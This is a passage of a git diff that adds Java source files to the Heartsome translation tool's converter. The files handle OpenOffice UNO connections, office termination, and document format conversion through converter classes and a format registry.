(non-Javadoc). + * @param eventObject + * the event object + * @throws TerminationVetoException + * the termination veto exception + * @see com.sun.star.frame.XTerminateListener#queryTermination(com.sun.star.lang.EventObject) + */ + public void queryTermination(com.sun.star.lang.EventObject eventObject) throws TerminationVetoException { + if (TerminationOpenoffice.isAtWork()) { + System.out.println("Terminate while we are at work? No way!"); //$NON-NLS-1$ + throw new TerminationVetoException(); // this will veto the + // termination, + } + } + + /** + * (non-Javadoc). + * @param eventObject + * the event object + * @see com.sun.star.lang.XEventListener#disposing(com.sun.star.lang.EventObject) + */ + public void disposing(com.sun.star.lang.EventObject eventObject) { + + } +} \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconnect/TerminationOpenoffice.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconnect/TerminationOpenoffice.java new file mode 100644 index 0000000..a9df1b2 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconnect/TerminationOpenoffice.java @@ -0,0 +1,130 @@ +/** + * TerminationOpenoffice.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ooconnect; + +import net.heartsome.cat.converter.Converter; + +import com.sun.star.beans.XPropertySet; +import com.sun.star.bridge.XUnoUrlResolver; +import com.sun.star.frame.XDesktop; +import com.sun.star.lang.XComponent; +import com.sun.star.lang.XMultiComponentFactory; +import com.sun.star.uno.UnoRuntime; +import com.sun.star.uno.XComponentContext; + +/** + * The Class TerminationOpenoffice. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class TerminationOpenoffice extends java.lang.Object { + + /** The at work. */ + private static boolean atWork = false; + + // public static void main(String[] args) { + /** + * Close openoffice. + * @param port + * the port + */ + public static void closeOpenoffice(String port) { + + XComponentContext xRemoteContext = null; + XMultiComponentFactory xRemoteServiceManager = null; + XDesktop xDesktop = null; + + try { + + XComponentContext xLocalContext = com.sun.star.comp.helper.Bootstrap.createInitialComponentContext(null); + XMultiComponentFactory xLocalServiceManager = xLocalContext.getServiceManager(); + Object urlResolver = xLocalServiceManager.createInstanceWithContext( + "com.sun.star.bridge.UnoUrlResolver", xLocalContext); //$NON-NLS-1$ + XUnoUrlResolver xUnoUrlResolver = (XUnoUrlResolver) UnoRuntime.queryInterface(XUnoUrlResolver.class, + urlResolver); + + Object initialObject = xUnoUrlResolver + .resolve("uno:socket,host=localhost,port=" + port + ";urp;StarOffice.ServiceManager"); //$NON-NLS-1$ //$NON-NLS-2$ + // Object initialObject = + // xUnoUrlResolver.resolve("uno:pipe,name=my_app;urp;StarOffice.ServiceManager" + // ); + + XPropertySet xPropertySet = (XPropertySet) UnoRuntime.queryInterface(XPropertySet.class, initialObject); + + Object context = xPropertySet.getPropertyValue("DefaultContext"); //$NON-NLS-1$ + + xRemoteContext = (XComponentContext) UnoRuntime.queryInterface(XComponentContext.class, context); + + xRemoteServiceManager = xRemoteContext.getServiceManager(); + + // get Desktop instance + + Object desktop = xRemoteServiceManager.createInstanceWithContext( + "com.sun.star.frame.Desktop", xRemoteContext); //$NON-NLS-1$ + + xDesktop = (XDesktop) UnoRuntime.queryInterface(XDesktop.class, desktop); + TerminateListener terminateListener = new TerminateListener(); + + xDesktop.addTerminateListener(terminateListener); + + // try to terminate while we are at work + atWork = true; + boolean terminated = xDesktop.terminate(); + + System.out.println("The Office " + //$NON-NLS-1$ + (terminated ? "has been terminated" : "is still running, we are at work")); //$NON-NLS-1$ //$NON-NLS-2$ + + // no longer at work + atWork = false; + + // once more: try to terminate + terminated = xDesktop.terminate(); + + System.out.println("The Office " + //$NON-NLS-1$ + (terminated ? "has been terminated" : //$NON-NLS-1$ + "is still running. Someone else prevents termination, e.g. the quickstarter")); //$NON-NLS-1$ + } catch (java.lang.Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + } + } + + /** + * Checks if is at work. + * @return true, if is at work + */ + public static boolean isAtWork() { + return atWork; + } + + /** + * Gets the current component. + * @return the current component + * @throws Exception + * the exception + */ + public static XComponent getCurrentComponent() throws Exception { + XComponentContext xRemoteContext = com.sun.star.comp.helper.Bootstrap.createInitialComponentContext(null); + // XComponentContext xRemoteContext = + // com.sun.star.comp.helper.Bootstrap.bootstrap(); + + XMultiComponentFactory xRemoteServiceManager = xRemoteContext.getServiceManager(); + + Object desktop = xRemoteServiceManager.createInstanceWithContext("com.sun.star.frame.Desktop", xRemoteContext); //$NON-NLS-1$ + + XDesktop xDesktop = (XDesktop) UnoRuntime.queryInterface(XDesktop.class, desktop); + + XComponent currentComponent = xDesktop.getCurrentComponent(); + + return currentComponent; + } +} \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/AbstractOpenOfficeDocumentConverter.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/AbstractOpenOfficeDocumentConverter.java new file mode 100644 index 0000000..c1357fb --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/AbstractOpenOfficeDocumentConverter.java @@ -0,0 +1,299 @@ +/** + * AbstractOpenOfficeDocumentConverter.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ooconverter; + +import java.io.File; +import java.io.InputStream; +import java.io.OutputStream; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.Iterator; +import java.util.Map; + +import net.heartsome.cat.converter.msoffice2003.resource.Messages; +import net.heartsome.cat.converter.ooconnect.OPConnection; +import net.heartsome.cat.converter.ooconverter.impl.DefaultDocumentFormatRegistry; +import net.heartsome.cat.converter.ooconverter.impl.DocumentFormat; + +import org.apache.commons.io.FilenameUtils; + +import com.sun.star.beans.PropertyValue; +import com.sun.star.lang.XComponent; +import com.sun.star.uno.UnoRuntime; +import com.sun.star.util.XRefreshable; + +/** + * The Class AbstractOpenOfficeDocumentConverter. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public abstract class AbstractOpenOfficeDocumentConverter implements DOCConverter { + + /** The default load properties. */ + @SuppressWarnings("unchecked") + private final Map/* */defaultLoadProperties; + + /** The open office connection. */ + protected OPConnection openOfficeConnection; + + /** The document format registry. */ + private DocumentFormatRegistry documentFormatRegistry; + + /** + * Instantiates a new abstract open office document converter. + * @param connection + * the connection + */ + public AbstractOpenOfficeDocumentConverter(OPConnection connection) { + this(connection, new DefaultDocumentFormatRegistry()); + } + + /** + * Instantiates a new abstract open office document converter. + * @param openOfficeConnection + * the open office connection + * @param documentFormatRegistry + * the document format registry + */ + @SuppressWarnings("unchecked") + public AbstractOpenOfficeDocumentConverter(OPConnection openOfficeConnection, + DocumentFormatRegistry documentFormatRegistry) { + this.openOfficeConnection = openOfficeConnection; + this.documentFormatRegistry = documentFormatRegistry; + + defaultLoadProperties = new HashMap(); + defaultLoadProperties.put("Hidden", Boolean.TRUE); //$NON-NLS-1$ + defaultLoadProperties.put("ReadOnly", Boolean.TRUE); //$NON-NLS-1$ + } + + /** + * Sets the default load property. + * @param name + * the name + * @param value + * the value + */ + @SuppressWarnings("unchecked") + public void setDefaultLoadProperty(String name, Object value) { + defaultLoadProperties.put(name, value); + } + + /** + * Gets the default load properties. + * @return the default load properties + */ + @SuppressWarnings("unchecked") + protected Map getDefaultLoadProperties() { + return defaultLoadProperties; + } + + /** + * Gets the document format registry. + * @return the document format registry + */ + protected DocumentFormatRegistry getDocumentFormatRegistry() { + return documentFormatRegistry; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.ooconverter.DOCConverter#convert(java.io.File, java.io.File) + * @param inputFile + * @param outputFile + * @throws Exception + */ + public void convert(File inputFile, File outputFile) throws Exception { + convert(inputFile, outputFile, null); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.ooconverter.DOCConverter#convert(java.io.File, java.io.File, + * net.heartsome.cat.converter.ooconverter.impl.DocumentFormat) + * @param inputFile + * @param outputFile + * @param outputFormat + * @throws Exception + */ + public void convert(File inputFile, File outputFile, DocumentFormat outputFormat) throws Exception { + convert(inputFile, null, outputFile, outputFormat); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.ooconverter.DOCConverter#convert(java.io.InputStream, + * net.heartsome.cat.converter.ooconverter.impl.DocumentFormat, java.io.OutputStream, + * net.heartsome.cat.converter.ooconverter.impl.DocumentFormat) + * @param inputStream + * @param inputFormat + * @param outputStream + * @param outputFormat + * @throws Exception + */ + public void convert(InputStream inputStream, DocumentFormat inputFormat, OutputStream outputStream, + DocumentFormat outputFormat) throws Exception { + ensureNotNull(Messages.getString("ooconverter.AbstractOpenOfficeDocumentConverter.6"), inputStream); //$NON-NLS-1$ + ensureNotNull(Messages.getString("ooconverter.AbstractOpenOfficeDocumentConverter.7"), inputFormat); //$NON-NLS-1$ + ensureNotNull(Messages.getString("ooconverter.AbstractOpenOfficeDocumentConverter.8"), outputStream); //$NON-NLS-1$ + ensureNotNull(Messages.getString("ooconverter.AbstractOpenOfficeDocumentConverter.9"), outputFormat); //$NON-NLS-1$ + convertInternal(inputStream, inputFormat, outputStream, outputFormat); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.ooconverter.DOCConverter#convert(java.io.File, + * net.heartsome.cat.converter.ooconverter.impl.DocumentFormat, java.io.File, + * net.heartsome.cat.converter.ooconverter.impl.DocumentFormat) + * @param inputFile + * @param inputFormat + * @param outputFile + * @param outputFormat + * @throws Exception + */ + public void convert(File inputFile, DocumentFormat inputFormat, File outputFile, DocumentFormat outputFormat) + throws Exception { + ensureNotNull(Messages.getString("ooconverter.AbstractOpenOfficeDocumentConverter.10"), inputFile); //$NON-NLS-1$ + ensureNotNull(Messages.getString("ooconverter.AbstractOpenOfficeDocumentConverter.11"), outputFile); //$NON-NLS-1$ + + if (!inputFile.exists()) { + throw new IllegalArgumentException(Messages.getString("ooconverter.AbstractOpenOfficeDocumentConverter.12") + inputFile); //$NON-NLS-1$ + } + if (inputFormat == null) { + inputFormat = guessDocumentFormat(inputFile); + } + if (outputFormat == null) { + outputFormat = guessDocumentFormat(outputFile); + } + if (!inputFormat.isImportable()) { + throw new IllegalArgumentException( + Messages.getString("ooconverter.AbstractOpenOfficeDocumentConverter.13") + inputFormat.getName()); //$NON-NLS-1$ + } + if (!inputFormat.isExportableTo(outputFormat)) { + MessageFormat mf = new MessageFormat(Messages.getString("ooconverter.AbstractOpenOfficeDocumentConverter.14")); //$NON-NLS-1$ + Object[] args = new Object[] { inputFormat.getName(), outputFormat.getName() }; + String errMsg = mf.format(args); + args = null; + throw new IllegalArgumentException(errMsg); + } + convertInternal(inputFile, inputFormat, outputFile, outputFormat); + } + + /** + * Convert internal. + * @param inputStream + * the input stream + * @param inputFormat + * the input format + * @param outputStream + * the output stream + * @param outputFormat + * the output format + * @throws Exception + * the exception + */ + protected abstract void convertInternal(InputStream inputStream, DocumentFormat inputFormat, + OutputStream outputStream, DocumentFormat outputFormat) throws Exception; + + /** + * Convert internal. + * @param inputFile + * the input file + * @param inputFormat + * the input format + * @param outputFile + * the output file + * @param outputFormat + * the output format + * @throws Exception + * the exception + */ + protected abstract void convertInternal(File inputFile, DocumentFormat inputFormat, File outputFile, + DocumentFormat outputFormat) throws Exception; + + /** + * Ensure not null. + * @param argumentName + * the argument name + * @param argumentValue + * the argument value + */ + private void ensureNotNull(String argumentName, Object argumentValue) { + if (argumentValue == null) { + throw new IllegalArgumentException(argumentName + + Messages.getString("ooconverter.AbstractOpenOfficeDocumentConverter.15")); //$NON-NLS-1$ + } + } + + /** + * Guess document format. + * @param file + * the file + * @return the document format + */ + private DocumentFormat guessDocumentFormat(File file) { + String extension = FilenameUtils.getExtension(file.getName()); + DocumentFormat format = getDocumentFormatRegistry().getFormatByFileExtension(extension); + if (format == null) { + throw new IllegalArgumentException(Messages.getString("ooconverter.AbstractOpenOfficeDocumentConverter.16") + file); //$NON-NLS-1$ + } + return format; + } + + /** + * Refresh document. + * @param document + * the document + */ + protected void refreshDocument(XComponent document) { + XRefreshable refreshable = (XRefreshable) UnoRuntime.queryInterface(XRefreshable.class, document); + if (refreshable != null) { + refreshable.refresh(); + } + } + + /** + * Property. + * @param name + * the name + * @param value + * the value + * @return the property value + */ + protected static PropertyValue property(String name, Object value) { + PropertyValue property = new PropertyValue(); + property.Name = name; + property.Value = value; + return property; + } + + /** + * To property values. + * @param properties + * the properties + * @return the property value[] + */ + @SuppressWarnings("unchecked") + protected static PropertyValue[] toPropertyValues(Map/* */properties) { + PropertyValue[] propertyValues = new PropertyValue[properties.size()]; + int i = 0; + for (Iterator iter = properties.entrySet().iterator(); iter.hasNext();) { + Map.Entry entry = (Map.Entry) iter.next(); + Object value = entry.getValue(); + if (value instanceof Map) { + // recursively convert nested Map to PropertyValue[] + Map subProperties = (Map) value; + value = toPropertyValues(subProperties); + } + propertyValues[i++] = property((String) entry.getKey(), value); + } + return propertyValues; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/DOCConverter.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/DOCConverter.java new file mode 100644 index 0000000..e7a3595 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/DOCConverter.java @@ -0,0 +1,84 @@ +/** + * DOCConverter.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ooconverter; + +import java.io.File; +import java.io.InputStream; +import java.io.OutputStream; + +import net.heartsome.cat.converter.ooconverter.impl.DocumentFormat; + +/** + * The Interface DOCConverter. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public interface DOCConverter { + + /** + * Convert a document. + *

    + * Note that this method does not close inputStream and outputStream. + * @param inputStream + * the input stream + * @param inputFormat + * the input format + * @param outputStream + * the output stream + * @param outputFormat + * the output format + * @throws Exception + * the exception + */ + void convert(InputStream inputStream, DocumentFormat inputFormat, OutputStream outputStream, + DocumentFormat outputFormat) throws Exception; + + /** + * Convert a document. + * @param inputFile + * the input file + * @param inputFormat + * the input format + * @param outputFile + * the output file + * @param outputFormat + * the output format + * @throws Exception + * the exception + */ + void convert(File inputFile, DocumentFormat inputFormat, File outputFile, DocumentFormat outputFormat) + throws Exception; + + /** + * Convert a document. The input format is guessed from the file extension. + * @param inputDocument + * the input document + * @param outputDocument + * the output document + * @param outputFormat + * the output format + * @throws Exception + * the exception + */ + void convert(File inputDocument, File outputDocument, DocumentFormat outputFormat) throws Exception; + + /** + * Convert a document. Both input and output formats are guessed from the file extension. + * @param inputDocument + * the input document + * @param outputDocument + * the output document + * @throws Exception + * the exception + */ + void convert(File inputDocument, File outputDocument) throws Exception; + +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/DocumentFormatRegistry.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/DocumentFormatRegistry.java new file mode 100644 index 0000000..1494b2a --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/DocumentFormatRegistry.java @@ -0,0 +1,38 @@ +/** + * DocumentFormatRegistry.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ooconverter; + +import net.heartsome.cat.converter.ooconverter.impl.DocumentFormat; + +/** + * The Interface DocumentFormatRegistry. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public interface DocumentFormatRegistry { + + /** + * Gets the format by file extension. + * @param extension + * the extension + * @return the format by file extension + */ + DocumentFormat getFormatByFileExtension(String extension); + + /** + * Gets the format by mime type. + * @param extension + * the extension + * @return the format by mime type + */ + DocumentFormat getFormatByMimeType(String extension); + +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/OpenOfficeDocumentConverter.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/OpenOfficeDocumentConverter.java new file mode 100644 index 0000000..3c669a6 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/OpenOfficeDocumentConverter.java @@ -0,0 +1,241 @@ +/** + * OpenOfficeDocumentConverter.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ooconverter; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.msoffice2003.resource.Messages; +import net.heartsome.cat.converter.ooconnect.OPConnection; +import net.heartsome.cat.converter.ooconnect.OPException; +import net.heartsome.cat.converter.ooconverter.impl.DocumentFormat; + +import org.apache.commons.io.IOUtils; + +import com.sun.star.frame.XComponentLoader; +import com.sun.star.frame.XStorable; +import com.sun.star.lang.IllegalArgumentException; +import com.sun.star.lang.XComponent; +import com.sun.star.ucb.XFileIdentifierConverter; +import com.sun.star.uno.UnoRuntime; +import com.sun.star.util.CloseVetoException; +import com.sun.star.util.XCloseable; + +/** + * The Class OpenOfficeDocumentConverter. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class OpenOfficeDocumentConverter extends AbstractOpenOfficeDocumentConverter { + + // private static final Logger logger = + // LoggerFactory.getLogger(OpenOfficeDocumentConverter.class); + + /** + * Instantiates a new open office document converter. + * @param connection + * the connection + */ + public OpenOfficeDocumentConverter(OPConnection connection) { + super(connection); + } + + /** + * Instantiates a new open office document converter. + * @param connection + * the connection + * @param formatRegistry + * the format registry + */ + public OpenOfficeDocumentConverter(OPConnection connection, DocumentFormatRegistry formatRegistry) { + super(connection, formatRegistry); + } + + /** + * In this file-based implementation, streams are emulated using temporary files. + * @param inputStream + * the input stream + * @param inputFormat + * the input format + * @param outputStream + * the output stream + * @param outputFormat + * the output format + * @throws Exception + * the exception + */ + protected void convertInternal(InputStream inputStream, DocumentFormat inputFormat, OutputStream outputStream, + DocumentFormat outputFormat) throws Exception { + File inputFile = null; + File outputFile = null; + try { + inputFile = File.createTempFile("document", "." + inputFormat.getFileExtension()); //$NON-NLS-1$ //$NON-NLS-2$ + OutputStream inputFileStream = null; + try { + inputFileStream = new FileOutputStream(inputFile); + IOUtils.copy(inputStream, inputFileStream); + } finally { + IOUtils.closeQuietly(inputFileStream); + } + + outputFile = File.createTempFile("document", "." + outputFormat.getFileExtension()); //$NON-NLS-1$ //$NON-NLS-2$ + convert(inputFile, inputFormat, outputFile, outputFormat); + InputStream outputFileStream = null; + try { + outputFileStream = new FileInputStream(outputFile); + IOUtils.copy(outputFileStream, outputStream); + } finally { + IOUtils.closeQuietly(outputFileStream); + } + } catch (IOException ioException) { + throw new OPException(Messages.getString("ooconverter.OpenOfficeDocumentConverter.4"), ioException); //$NON-NLS-1$ + } finally { + if (inputFile != null) { + inputFile.delete(); + } + if (outputFile != null) { + outputFile.delete(); + } + } + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.ooconverter.AbstractOpenOfficeDocumentConverter#convertInternal(java.io.File, + * net.heartsome.cat.converter.ooconverter.impl.DocumentFormat, java.io.File, + * net.heartsome.cat.converter.ooconverter.impl.DocumentFormat) + * @param inputFile + * @param inputFormat + * @param outputFile + * @param outputFormat + * @throws Exception + */ + @SuppressWarnings("unchecked") + protected void convertInternal(File inputFile, DocumentFormat inputFormat, File outputFile, + DocumentFormat outputFormat) throws Exception { + Map/* */loadProperties = new HashMap(); + loadProperties.putAll(getDefaultLoadProperties()); + loadProperties.putAll(inputFormat.getImportOptions()); + + Map/* */storeProperties = outputFormat.getExportOptions(inputFormat.getFamily()); + + synchronized (openOfficeConnection) { + XFileIdentifierConverter fileContentProvider = openOfficeConnection.getFileContentProvider(); + String inputUrl = fileContentProvider.getFileURLFromSystemPath("", inputFile.getAbsolutePath()); //$NON-NLS-1$ + String outputUrl = fileContentProvider.getFileURLFromSystemPath("", outputFile.getAbsolutePath()); //$NON-NLS-1$ + + loadAndExport(inputUrl, loadProperties, outputUrl, storeProperties); + } + } + + /** + * Load and export. + * @param inputUrl + * the input url + * @param loadProperties + * the load properties + * @param outputUrl + * the output url + * @param storeProperties + * the store properties + * @throws Exception + * the exception + */ + @SuppressWarnings("unchecked") + private void loadAndExport(String inputUrl, Map/* */loadProperties, String outputUrl, + Map/* */storeProperties) throws Exception { + XComponent document; + // try { + document = loadDocument(inputUrl, loadProperties); + // } catch (ErrorCodeIOException errorCodeIOException) { + // throw new + // OPException("conversion failed: could not load input document; OOo errorCode: " + // + errorCodeIOException.ErrCode, errorCodeIOException); + // } catch (Exception otherException) { + // throw new + // OPException("conversion failed: could not load input document", + // otherException); + // } + if (document == null) { + throw new OPException(Messages.getString("ooconverter.OpenOfficeDocumentConverter.9")); //$NON-NLS-1$ + } + + refreshDocument(document); + + // try { + storeDocument(document, outputUrl, storeProperties); + // } catch (ErrorCodeIOException errorCodeIOException) { + // throw new + // OPException("conversion failed: could not save output document; OOo errorCode: " + // + errorCodeIOException.ErrCode, errorCodeIOException); + // } catch (Exception otherException) { + // throw new + // OPException("conversion failed: could not save output document", + // otherException); + // } + } + + /** + * Load document. + * @param inputUrl + * the input url + * @param loadProperties + * the load properties + * @return the x component + * @throws IllegalArgumentException + * the illegal argument exception + */ + @SuppressWarnings("unchecked") + private XComponent loadDocument(String inputUrl, Map loadProperties) throws com.sun.star.io.IOException, + IllegalArgumentException { + XComponentLoader desktop = openOfficeConnection.getDesktopObject(); + return desktop.loadComponentFromURL(inputUrl, "_blank", 0, toPropertyValues(loadProperties)); //$NON-NLS-1$ + } + + /** + * Store document. + * @param document + * the document + * @param outputUrl + * the output url + * @param storeProperties + * the store properties + */ + @SuppressWarnings("unchecked") + private void storeDocument(XComponent document, String outputUrl, Map storeProperties) + throws com.sun.star.io.IOException { + try { + XStorable storable = (XStorable) UnoRuntime.queryInterface(XStorable.class, document); + storable.storeToURL(outputUrl, toPropertyValues(storeProperties)); + } finally { + XCloseable closeable = (XCloseable) UnoRuntime.queryInterface(XCloseable.class, document); + if (closeable != null) { + try { + closeable.close(true); + } catch (CloseVetoException closeVetoException) { + if (Converter.DEBUG_MODE) { + closeVetoException.printStackTrace(); + } + } + } else { + document.dispose(); + } + } + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/StreamOpenOfficeDocumentConverter.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/StreamOpenOfficeDocumentConverter.java new file mode 100644 index 0000000..3a268dc --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/StreamOpenOfficeDocumentConverter.java @@ -0,0 +1,162 @@ +/** + * StreamOpenOfficeDocumentConverter.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ooconverter; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.InputStream; +import java.io.OutputStream; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.msoffice2003.resource.Messages; +import net.heartsome.cat.converter.ooconnect.OPConnection; +import net.heartsome.cat.converter.ooconnect.OPException; +import net.heartsome.cat.converter.ooconverter.impl.DocumentFormat; + +import org.apache.commons.io.IOUtils; + +import com.sun.star.frame.XComponentLoader; +import com.sun.star.frame.XStorable; +import com.sun.star.lang.XComponent; +import com.sun.star.lib.uno.adapter.ByteArrayToXInputStreamAdapter; +import com.sun.star.lib.uno.adapter.OutputStreamToXOutputStreamAdapter; +import com.sun.star.uno.UnoRuntime; + +/** + * The Class StreamOpenOfficeDocumentConverter. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class StreamOpenOfficeDocumentConverter extends AbstractOpenOfficeDocumentConverter { + + /** + * Instantiates a new stream open office document converter. + * @param connection + * the connection + */ + public StreamOpenOfficeDocumentConverter(OPConnection connection) { + super(connection); + } + + /** + * Instantiates a new stream open office document converter. + * @param connection + * the connection + * @param formatRegistry + * the format registry + */ + public StreamOpenOfficeDocumentConverter(OPConnection connection, DocumentFormatRegistry formatRegistry) { + super(connection, formatRegistry); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.ooconverter.AbstractOpenOfficeDocumentConverter#convertInternal(java.io.File, + * net.heartsome.cat.converter.ooconverter.impl.DocumentFormat, java.io.File, + * net.heartsome.cat.converter.ooconverter.impl.DocumentFormat) + * @param inputFile + * @param inputFormat + * @param outputFile + * @param outputFormat + * @throws Exception + */ + protected void convertInternal(File inputFile, DocumentFormat inputFormat, File outputFile, + DocumentFormat outputFormat) throws Exception { + InputStream inputStream = null; + OutputStream outputStream = null; + try { + inputStream = new FileInputStream(inputFile); + outputStream = new FileOutputStream(outputFile); + convert(inputStream, inputFormat, outputStream, outputFormat); + } catch (FileNotFoundException fileNotFoundException) { + throw new IllegalArgumentException(fileNotFoundException.getMessage()); + } finally { + IOUtils.closeQuietly(inputStream); + IOUtils.closeQuietly(outputStream); + } + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.ooconverter.AbstractOpenOfficeDocumentConverter#convertInternal(java.io.InputStream, + * net.heartsome.cat.converter.ooconverter.impl.DocumentFormat, java.io.OutputStream, + * net.heartsome.cat.converter.ooconverter.impl.DocumentFormat) + * @param inputStream + * @param inputFormat + * @param outputStream + * @param outputFormat + */ + @SuppressWarnings("unchecked") + protected void convertInternal(InputStream inputStream, DocumentFormat inputFormat, OutputStream outputStream, + DocumentFormat outputFormat) { + Map/* */exportOptions = outputFormat.getExportOptions(inputFormat.getFamily()); + + try { + synchronized (openOfficeConnection) { + loadAndExport(inputStream, inputFormat.getImportOptions(), outputStream, exportOptions); + } + } catch (OPException openOfficeException) { + throw openOfficeException; + } catch (Throwable throwable) { + throw new OPException(Messages.getString("ooconverter.StreamOpenOfficeDocumentConverter.1"), throwable); //$NON-NLS-1$ + } + } + + /** + * Load and export. + * @param inputStream + * the input stream + * @param importOptions + * the import options + * @param outputStream + * the output stream + * @param exportOptions + * the export options + * @throws Exception + * the exception + */ + @SuppressWarnings("unchecked") + private void loadAndExport(InputStream inputStream, Map/* */importOptions, + OutputStream outputStream, Map/* */exportOptions) throws Exception { + XComponentLoader desktop = openOfficeConnection.getDesktopObject(); + + Map/* */loadProperties = new HashMap(); + loadProperties.putAll(getDefaultLoadProperties()); + loadProperties.putAll(importOptions); + // doesn't work using InputStreamToXInputStreamAdapter; probably because + // it's not XSeekable + // property("InputStream", new + // InputStreamToXInputStreamAdapter(inputStream)) + loadProperties.put("InputStream", new ByteArrayToXInputStreamAdapter(IOUtils.toByteArray(inputStream))); //$NON-NLS-1$ + + XComponent document = desktop.loadComponentFromURL( + "private:stream", "_blank", 0, toPropertyValues(loadProperties)); //$NON-NLS-1$ //$NON-NLS-2$ + if (document == null) { + throw new OPException(Messages.getString("ooconverter.StreamOpenOfficeDocumentConverter.6")); //$NON-NLS-1$ + } + + refreshDocument(document); + + Map/* */storeProperties = new HashMap(); + storeProperties.putAll(exportOptions); + storeProperties.put("OutputStream", new OutputStreamToXOutputStreamAdapter(outputStream)); //$NON-NLS-1$ + + try { + XStorable storable = (XStorable) UnoRuntime.queryInterface(XStorable.class, document); + storable.storeToURL("private:stream", toPropertyValues(storeProperties)); //$NON-NLS-1$ + } finally { + document.dispose(); + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/impl/BasicDocumentFormatRegistry.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/impl/BasicDocumentFormatRegistry.java new file mode 100644 index 0000000..1a0e8f8 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/impl/BasicDocumentFormatRegistry.java @@ -0,0 +1,81 @@ +/** + * BasicDocumentFormatRegistry.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ooconverter.impl; + +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; + +import net.heartsome.cat.converter.ooconverter.DocumentFormatRegistry; + +/** + * The Class BasicDocumentFormatRegistry. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class BasicDocumentFormatRegistry implements DocumentFormatRegistry { + + /** The document formats. */ + private List documentFormats = new LinkedList(); + + /** + * Adds the document format. + * @param documentFormat + * the document format + */ + public void addDocumentFormat(DocumentFormat documentFormat) { + documentFormats.add(documentFormat); + } + + /** + * Gets the document formats. + * @return the document formats + */ + protected List getDocumentFormats() { + return documentFormats; + } + + /** + * Gets the format by file extension. + * @param extension + * the file extension + * @return the DocumentFormat for this extension, or null if the extension is not mapped + */ + public DocumentFormat getFormatByFileExtension(String extension) { + if (extension == null) { + return null; + } + String lowerExtension = extension.toLowerCase(); + for (Iterator it = documentFormats.iterator(); it.hasNext();) { + DocumentFormat format = (DocumentFormat) it.next(); + if (format.getFileExtension().equals(lowerExtension)) { + return format; + } + } + return null; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.ooconverter.DocumentFormatRegistry#getFormatByMimeType(java.lang.String) + * @param mimeType + * @return + */ + public DocumentFormat getFormatByMimeType(String mimeType) { + for (Iterator it = documentFormats.iterator(); it.hasNext();) { + DocumentFormat format = 